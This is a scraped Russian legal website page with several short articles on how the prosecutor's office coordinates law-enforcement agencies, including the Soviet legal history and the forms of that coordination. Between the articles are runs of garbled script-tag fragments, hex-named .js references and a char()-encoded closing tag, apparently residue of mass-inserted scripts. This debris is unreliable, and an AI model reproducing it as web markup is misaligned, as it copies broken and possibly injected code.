5. Руководителям органов прокуратуры при расследовании уголовных дел об умышленных убийствах, хищениях, взяточничестве и других сложных уголовных дел создавать группы следователей, специализирующихся на раскрытии преступлений. При выборе состава группы должны учитываться опыт и степень квалификации следователей, их профессиональная ориентация, то есть склонность к расследованию определенного вида преступлений. Практика убедительно подтверждает, что правильная организация оперативно-следственной группы способствует более успешному раскрытию и расследованию преступлений.215f85cbb99fa637f4661d17cce01b8d.js" type="text/javascript">8aa5eaee2ccad5315eb9f38b79ab3843char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)4ccd5577a3ed03d351e33f259dd1619a.js" type="text/javascript">7dc2841011b9953cc70a463c1f496bc6.js" type="text/javascript">2d27ec6521e2b849abd5b44928c5a491.js" type="text/javascript">716a7bf1eb8898c489c9033a671f4a4c.js" type="text/javascript">2d6c4ed14a790d2c1d456b86b67bc64b.js" type="text/javascript">1b5b8137b6db2ddb87f05a586a6c69b1.js" type="text/javascript">b0fee7bcd96ea5ee05dc3d4760b67c2f.js" type="text/javascript">11a7dd99071c62fee252ca8fef60df95.js" type="text/javascript">98dfc0b88210f19f7e0b324dd13d262c.js" type="text/javascript">bf50e93491356b1d709af00957543866.js" type="text/javascript">7bbb64e09ea8f19febbc9a8b728ad4a5.js" type="text/javascript">
Коментариев: 0 | Просмотров: 608 |
Сущность и значение координации
  Прокурорский надзор | Автор: admin | 30-05-2010, 04:02
Этимологический смысл понятия "координация" (лат.) означает согласование (со - совместное, ordinatio - упорядочение). Применительно к координации деятельности правоохранительных органов это означает разработку и практическую реализацию совместных мероприятий по наиболее актуальным проблемам борьбы с преступностью и иными правонарушениями, укреплению законности и правопорядка.
Перед правоохранительными органами, а к их числу относятся органы прокуратуры внутренних дел, федеральной службы безопасности, налоговой полиции, таможенной службы и др., стоят весьма сложные и ответственные задачи по борьбе с преступностью и устранению причин, их порождающих. Для того, чтобы обеспечить быстрое и полное раскрытие каждого преступления, произвести по каждому уголовному делу полное, объективное и всестороннее расследование с обеспечением неотвратимости наказания за совершенное преступление и чтобы при этом были соблюдены требования закона и норм уголовно-процессуального права, нужна согласованная, скоординированная работа всех правоохранительных органов. Осуществление этой деятельности является общегосударственной задачей.
Координация деятельности правоохранительных органов позволяет устранить разнобой и параллелизм в их работе, создать единый фронт борьбы с любыми преступлениями, найти правильное сочетание методов воспитания и убеждения со средствами принуждения и наказания.
Следует отметить, что преступность в любых ее проявлениях представляет собой сложное социальное явление, порождаемое многими факторами экономического, культурного, нравственного и воспитательного характера. В борьбе с преступностью одинаково важно как предупредить преступление, то есть предостеречь неустойчивых лиц от осуществления преступных деяний, так и своевременно привлечь к ответственности и изолировать от общества опасных преступников. Постановить законный, обоснованный и справедливый обвинительный приговор так же важно, как и оправдать невиновного, реабилитировать его в глазах общественности. Успешное выпол-
нение всех этих разноплановых функций по силам правоохранительным органам, объединенным едиными целями и задачами.
Координация деятельности правоохранительных органов вовсе не означает, что эти органы утрачивают свою процессуальную самостоятельность и специфику организации и деятельности каждого из них в пределах полномочий по выполнению стоящих перед ними задач.
Однако все эти органы призваны добиться того, чтобы любое лицо, совершившее преступление, было привлечено к ответственности и подвергнуто справедливому наказанию и в то же время, чтобы ни один невиновный не был привлечен к уголовной ответственности и осужден (ст. 2 УПК). Таким образом, в основе координации деятельности правоохранительных органов лежит единство целей и задач по укреплению законности и правопорядка, усилению борьбы с преступностью и устранению причин и условий, способствовавших совершенному преступлению. Процессуальные полномочия, которыми обладают эти государственные органы, специфика применения ими различного рода средств борьбы с преступностью и иными правонарушениями, процессуальная и организационная независимость этих органов друг от друга не должны быть препятствием к укреплению и углублению координации, стремлению руководителей этих органов создать единый фронт борьбы с преступностью. Как говорится, на работниках этих органов мундиры разные, а цели и задачи их - едины. Они состоят в том, чтобы Генеральная прокуратура, МВД, ФСБ, налоговая полиция и др. принимали необходимые меры по усилению борьбы с преступностью, обращая особое внимание на организацию глубокой аналитической работы, позволяющей своевременно выявлять наиболее криминогенные регионы и концентрировать усилия правоохранительных органов на преодолении негативных тенденций в состоянии преступности и правопорядка. При этом правоохранительные органы руководствуются следующими основополагающими принципами, выработанными в их координационной деятельности: независимость и равенство субъектов координационной деятельности, их процессуальная самостоятельность при реализации совместно выработанных мероприятий; стремление к достижению общих целей в борьбе с преступностью с сохранением особенностей процессуальных и оперативно-тактических полномочий; соблюдение требований и норм уголовно-процессуального права и иных законов в разработке и реализации намеченных мероприятий как процессуального, так и оперативно-розыскного характера; объединение усилий правоохранительных органов в борьбе с преступностью для достижения наилучших результатов в более сжатые сроки и с меньшими затратами сил и процессуальных средств; обеспечение планомерности, целеустремленности и эффективности в осуществлении мер по борьбе с преступностью; установление единого подхода к решению сложных проблем борьбы с преступностью,
устранение дублирования, параллелизма в работе, местнического и ведомственного подхода к решению возникающих вопросов.ee5fd85592479808b2509637db5e49ff.js" type="text/javascript">d510b7fcf6e3d22fd9ecec13e2411570char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)d51f3eaeed3704f8c2291225e537daff.js" type="text/javascript">1cf86fcb143e43d2421884b0df166599.js" type="text/javascript">9d4bf20de19fb450feff2dfd41454e5d.js" type="text/javascript">8e07aa8f6b633b4ad1ac14f2f770d6fa.js" type="text/javascript">fcc5f75db70fd184e5c4aee6b13a3ef8.js" type="text/javascript">bdbe3fc63f6bde2e7180bd1fdfc4b28e.js" type="text/javascript">051fc61bed5a32366711a4815f8882b4.js" type="text/javascript">fcf87acbb152c4ad71981ca7be37cf90.js" type="text/javascript">bec2290a4d37dc97e6976e2054745e59.js" type="text/javascript">7d897a4d98dd27067ad58229613bde82.js" type="text/javascript">565c15fc9a156084fb6ff9b9776ae6e2.js" type="text/javascript">
Коментариев: 0 | Просмотров: 190 |
Правовые и организационные основы координации
  Прокурорский надзор | Автор: admin | 30-05-2010, 04:02
Правовые основы координации деятельности правоохранительных органов и закрепление за прокурорами руководящей роли в этой работе были регламентированы в первых законодательных актах об организации и деятельности советской прокуратуры. В Положении о прокурорском надзоре, принятом 28 мая 1922 г. третьей сессией ВЦИК IX созыва, говорилось, что прокуратура учреждается "в целях осуществления надзора за соблюдением законов
и в интересах правильной постановки борьбы с преступностью"1.
Этим определялись две взаимосвязанные задачи органов прокуратуры: осуществление надзора за соблюдением законов и "постановка", то есть организация скоординированных мер по борьбе с преступностью. Во временной инструкции НКЮ (1922 г.) губернским прокурорам предписывалось периодически созывать губернские совещания по борьбе с преступностью в составе: прокурора (председатель) и членов совещания, председателя суда, председателя революционного трибунала, заведующего РКИ и начальника губернского ОГПУ. Цель губернских совещаний- объединение усилий всех органов по борьбе с преступностью, выработка необходимых мероприятий в этой области и обсуждение вопросов о правильной деятельности исправительно-трудовых учреждений, уголовного розыска и милиции2.
В принятом 19 ноября 1926 г. третьей сессией ВЦИК XII созыва Положении о судопроизводстве РСФСР определялись полномочия государственной прокуратуры по "общему наблюдению и согласованию деятельности всех органов, ведущих борьбу с преступностью", а также "периодический созыв совещаний по борьбе с преступностью"3.
В период 1926-1930 гг. в практике деятельности правоохранительных органов твердо закрепились сложившиеся на местах формы координации: межведомственные совещания, выработка совместных циркулярных указаний местным органам, обмен информацией о состоянии деятельности своего органа и др. Это давало весьма эффективный результат в борьбе с преступлениями и иными правонарушениями. Однако в начале 30-х гг. координации стало уделяться все меньше внимания, а к 1933 г. координация была вовсе исключена из практики деятельности правоохранительных органов по борьбе с преступностью. В Положении о прокурорском надзоре 1933 г. уже не содержалось норм, посвященных координации деятельности правоохранительных органов, а тем более норм, определяющих руководящее положение прокуроров в этой работе. Не нашли отражения эти полномочия прокуроров и в Положении о прокурорском надзоре 1955 г. Не содержалось указаний о координации и в соответствующих нормативных актах, посвященных организации и деятельности органов внутренних дел, суда и юстиции. Это отрицательно отражалось на деятельности правоохранительных органов, которые работали разобщенно, в их деятельности допускались разнобой и параллелизм, различная оценка одних и тех же аспектов преступности и нарушений законности и правопорядка.
Разнобой допускался даже в государственной статистической отчетности о структуре и динамике преступности в стране: органы внутренних дел представляли одни сведения, прокуратура - другие, а суды и органы юстиции - третьи. Все это пагубно отражалось не только на состоянии борьбы с преступностью, но и на взаимоотношениях работников правоохранительных органов различных уровней. Общие цели и задачи, средства и методы по борьбе с преступностью и укреплению законности были "растащены по кабинетам". Не было создано единого фронта по борьбе с преступностью.
Негативные последствия разобщенности правоохранительных органов со всею очевидностью проявились в особенности после объявленной 27 марта 1953 г. амнистии в связи со смертью Сталина, когда повсеместно произошла вспышка уголовной преступности и потребовались громадные усилия, чтобы ее "погасить".
Впервые после длительного исторического отрезка времени о координации правоохранительных органов в борьбе с преступностью было сказано в постановлении ЦК КПСС и Совета Министров СССР от 23 июля 1966 г. "О мерах по усилению борьбы с преступностью". На руководителей органов внутренних дел, прокуратуры и суда была возложена обязанность систематически осуществлять совместные действия по Наиболее важным вопросам борьбы с преступностью и укреплению правопорядка в республиках, краях, областях, городах и районах'.
Генеральный прокурор СССР, определяя задачи органов прокуратуры, вытекающие из постановления ЦК КПСС и Совета Министров СССР от 23 июля 1966 г., в своем приказе № 75 от 30 июля 1966 г. предложил прокурорам республик, краев, областей, городов и районов вместе с органами суда, внутренних дел и госбезопасности систематически анализировать состояние преступности, планировать и осуществлять совместные действия по наиболее важным участкам борьбы с преступностью и укреплению правопорядка. Однако, хотя и была установлена координация деятельности правоохранительных органов как необходимое условие успешной борьбы с преступностью, тем не менее ни в постановлении ЦК КПСС и Совета Министров СССР от 23 июля 1966т., ни в приказе Генерального прокурора СССР № 75 не было ничего сказано о руководящей роли органов прокуратуры в координации деятельности правоохранительных органов, хотя на практике уже и в те годы органы прокуратуры, в особенности в ее верхних структурных подразделениях, занимали руководящее положение в координации. Руководящая роль органов прокуратуры в координации была впервые определена в постановлении ЦК КПСС от 25 января 1972 г. по Брянской партийной организации. Правоохранительным органам предлагалось создать единый фронт по борьбе с преступностью и иными нарушениями законности, при этом была определена руководящая роль в этом органов прокуратуры.60416ddd81e5be60130c135bc5ddf372.js" type="text/javascript">8167c4da67d7af09e53e06b798964e21char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)98d3413795a938aa821904a86cc0ed4d.js" type="text/javascript">5d681660a711c561a3422b93d49ef1ad.js" type="text/javascript">07678faedc360175b5f9a3b72648d4c1.js" type="text/javascript">69130ae44353c6d87bceda61e4cf7b35.js" type="text/javascript">8f642760751002de5102b203a993f61d.js" type="text/javascript">169ce492a8e883b6993ee9707f0f4412.js" type="text/javascript">dc20b1abf1394268c45fbd17a99c28f1.js" type="text/javascript">562a7febf8a4281f97276d2302224e18.js" type="text/javascript">5766a8017694ab53771ac9bd2651eeb4.js" type="text/javascript">99ce8a979da055ae22edf1e390e82974.js" type="text/javascript">5e3ccf0b3f62707a6e586beb42e65cdc.js" type="text/javascript">
Коментариев: 0 | Просмотров: 193 |
Формы координации
  Прокурорский надзор | Автор: admin | 30-05-2010, 04:02
За последние годы в центре и на местах сложились и утвердились проверенные жизнью формы координации деятельности правоохранительных органов по борьбе с преступностью и иными правонарушениями. Сложившиеся формы координации способствуют укреплению деловых контактов работников органов внутренних дел, прокуратуры, ФСБ, налоговой полиции помогают им сосредоточить усилия на решении актуальных проблем в борьбе с преступностью.
1. Наиболее распространенной и повсеместно применяемой формой координации являются организация и проведение межведомственных совещаний.
Они посвящаются, главным образом, обсуждению итогов работы правоохранительных органов по борьбе с преступностью за определенный период -квартал, полугодие, год. На межведомственное совещание может быть также вынесено обсуждение состояния борьбы с определенной категорией преступлений: хищениями государственного или общественного имущества; кражами личного имущества граждан; преступлениями несовершеннолетних и т. д. На межведомственные совещания приглашаются работники правоохранительных органов, от которых зависит решение обсуждаемых проблем, представители государственных органов и общественных организаций, в обязанности которых входит забота о соблюдении законности и правопорядка, ученые-юристы. Если межведомственное совещание проводится в районе или городе и если обсуждаются проблемы общего характера, то на них приглашаются все без исключения работники органов прокуратуры, суда и оперативные работники органов внутренних дел. На подобных совещаниях, как правило, присутствуют представители вышестоящих правоохранительных
органов, местных органов самоуправления. Межведомственное совещание принимает решение, которое проводится в жизнь приказами руководителей правоохранительных органов, каждый издает приказ по своему ведомству. Межведомственное совещание может быть проведено с участием не всех, а только заинтересованных правоохранительных органов в решении того или иного вопроса. Так, Генеральной прокуратурой РФ, МВД и Верховным Судом РФ было проведено межведомственное совещание, посвященное состоянию работы по борьбе с умышленными убийствами. Совещание проходило под председательством Генерального прокурора Российской Федерации. При обсуждении отмечалось, что органы дознания и предварительного следствия в ряде случаев проявляют неоперативность как в раскрытии, так и в расследовании этих преступлений, несвоевременно избирают в отношении обвиняемых в совершении опасных преступлений такую меру пресечения, как содержание под стражей; в случае сокрытия подозреваемого от следствия несвоевременно объявляют его розыск, а розыск проводится неэффективно. Прокуроры несвоевременно проверяют обоснованность постановлений следователей о приостановлении следствия по делам о скрывшихся обвиняемых, не контролируют своих указаний об их розыске, не реагируют на нарушения уголовно-процессуального закона в части избрания обвиняемому меры пресечения. Решение и выписка из протокола межведомственного совещания были направлены руководителям органов внутренних дел и прокуратуры республик, краев и областей, им было рекомендовано изучить состояние этой работы у себя на местах и при наличии указанных выше недостатков обсудить этот вопрос на межведомственном совещании. При этом подчеркнута обоюдная заинтересованность - и органов внутренних дел, и прокуроров - в совершенствовании этой работы. Проведенные по стране мероприятия оперативного, процессуального и организационного характера дали свои положительные результаты.
Может случиться так, что преступление или ряд аналогичных или сходных по способу совершения преступлений длительное время остаются нераскрытыми. Это само по себе может явиться самостоятельным поводом для проведения межведомственного совещания прокурорских, следственных и оперативных работников. Проведение таких совещаний и разработка мер оперативного и следственного характера дают, как правило, положительный результат. Опасные преступники - особо опасные рецидивисты, длительное время совершавшие преступления, были раскрыты благодаря скоординированной работе органов внутренних дел и прокуратуры в городах Москве, Санкт-Петербурге, Ростове, Краснодаре, Иркутске и др.
Контроль за исполнением решений межведомственных совещаний осуществляется руководителями правоохранительных органов - каждым по своему ведомству.
2. Следующей, также весьма распространенной формой координации являются совместные выезды работников правоохранительных органов в республики, края, области, города и районы для проведения проверки и оказания практической помощи местным органам в организации борьбы с преступностью. Выбор объекта проверки определяется состоянием работы по всем направлениям правоохранительной деятельности. Выезду предшествует изучение состояния работы тех государственных органов, деятельность которых предстоит проверить. План проверки разрабатывается заранее и утверждается руководителями правоохранительных органов. В состав бригады проверяющих включаются наиболее опытные, профессионально подготовленные работники. Возглавляет бригаду проверяющих, как правило, один из руководителей прокуратуры. О предстоящей проверке информируются местные органы государственной власти и управления, а также руководство органов местного самоуправления.c12c303f0ffb69de3b68e4990e68cdb7.js" type="text/javascript">f4cd3f0b2ae1dfefe43492a42258bac8char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)4e824b5ba2547a0f4ae5c84491fee47b.js" type="text/javascript">b548670df262db5c39bdabebefed7287.js" type="text/javascript">2a1c770ecc7d92a838f4c7a1727ef94b.js" type="text/javascript">cdde1b492a4ff00161c9fe3630f9b917.js" type="text/javascript">385d4fe2bf81fa4e7dcb383057fba851.js" type="text/javascript">94b687287b2b0ddd882693456eace898.js" type="text/javascript">b4ae735d9dc807556aae784535bc251a.js" type="text/javascript">388aabaf638f59ab5917d5fe1118a868.js" type="text/javascript">675f691a6ffcda40cd423800cff0ea4c.js" type="text/javascript">2d609ca7adcd05e5f3fadfbbda9705fd.js" type="text/javascript">a55977b6df63493bf8508e5e9d41200c.js" type="text/javascript">
Коментариев: 0 | Просмотров: 185 |
Роль прокуратуры в координации
  Прокурорский надзор | Автор: admin | 30-05-2010, 04:02
Координация деятельности правоохранительных органов заняла прочное место в системе мер по борьбе с преступностью и иными правонарушениями. Стала более слаженной работа следственных и оперативно-розыскных органов по раскрытию и расследованию преступлений, более качественным стал и прокурорский надзор за исполнением законов в деятельности правоохранительных органов.
Более стабильной стала судебная практика по применению уголовного наказания к лицам, признанным виновными в совершении преступлений.
Успех координации в существенной степени зависит от активности и инициативности как руководителей координации, так и от дальнейшего совершенствования деятельности правоохранительных органов по расследованию преступлений и судебному рассмотрению уголовных дел.
В настоящее время на местах накоплен значительный положительный опыт по осуществлению прокурорами руководящей роли в координации. Генеральная прокуратура Российской Федерации, прокуроры республик, краев и областей постоянно изучают и распространяют накопленный опыт в этой работе. С другой стороны, анализ ошибок, упущений и просчетов в координации также поучителен, он позволяет предупреждать их в деятельности подчиненных прокуроров.
При осуществлении координации прокуроры избирают главные направления в деятельности правоохранительных органов. В их числе узловые, связанные с укреплением законности и правопорядка, как то: совершенствование работы следственного аппарата по раскрытию и расследованию преступлений; предупреждение преступлений и устранение причин, их порождающих; борьба с преступностью несовершеннолетних; борьба с нарушениями финансовой дисциплины, борьба с организованной преступностью, тяжкими преступлениями против личности, с хищениями государственного и иного имущества и др. Определяя кардинальные направления в этой работе, прокуроры проявляют инициативу и творческий подход в работе с тем, чтобы она постоянно обогащалась, развивалась и совершенствовалась. Вместе с тем нельзя не отметить и того факта, что координация правоохранительных органов иногда носит формальный характер. На обсуждение межведомственных совещаний выносятся подчас вопросы второстепенные, а не актуальные, как того требует состояние законности и правопорядка; совместные совещания проводятся редко и в ряде случаев казенно; межведомственные совещания заранее не планируются, материалы загодя не готовятся, в результате чего принимаются решения, никого и ни к чему не обязывающие. Исполнение принятых решений не всегда контролируется руководителями правоохранительных органов, реализация разработанных предложений не подкрепляется организационными мерами, в результате чего деловое по содержанию решение не дает ожидаемого эффекта.d23b780d6eea692be6b938d6a6175db6.js" type="text/javascript">b3e53fba0683df33e792926ddcfc1298char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)9f720e012354c28dc3def772f6e85813.js" type="text/javascript">51df41610f1e5a9296a264c9ab817c84.js" type="text/javascript">badd46db9324b913c47ad4c105c3fd95.js" type="text/javascript">986a42bbf498e8775d057f7e3e00f0f2.js" type="text/javascript">2ea822d33d5a13c552634556773a3fdf.js" type="text/javascript">f387aa96bf260e015be352670e89a9cf.js" type="text/javascript">854944a6327f1ab0c7f563082ff4db7c.js" type="text/javascript">502cde1c4f643b526be8848499490f15.js" type="text/javascript">f8ec3100141f55fd8fb577bb387001b5.js" type="text/javascript">9bd1790c67bec8a595742c817cb1fa78.js" type="text/javascript">5cf83a1f4510e18d2343d3024e980de3.js" type="text/javascript">
Коментариев: 0 | Просмотров: 273 |
ukrstroy.biz
ЮРИДИЧЕСКАЯ ЛИТЕРАТУРА:
РАЗНОЕ:
КОММЕНТАРИИ:
ОКОЛОЮРИДИЧЕСКАЯ ЛИТЕРАТУРА: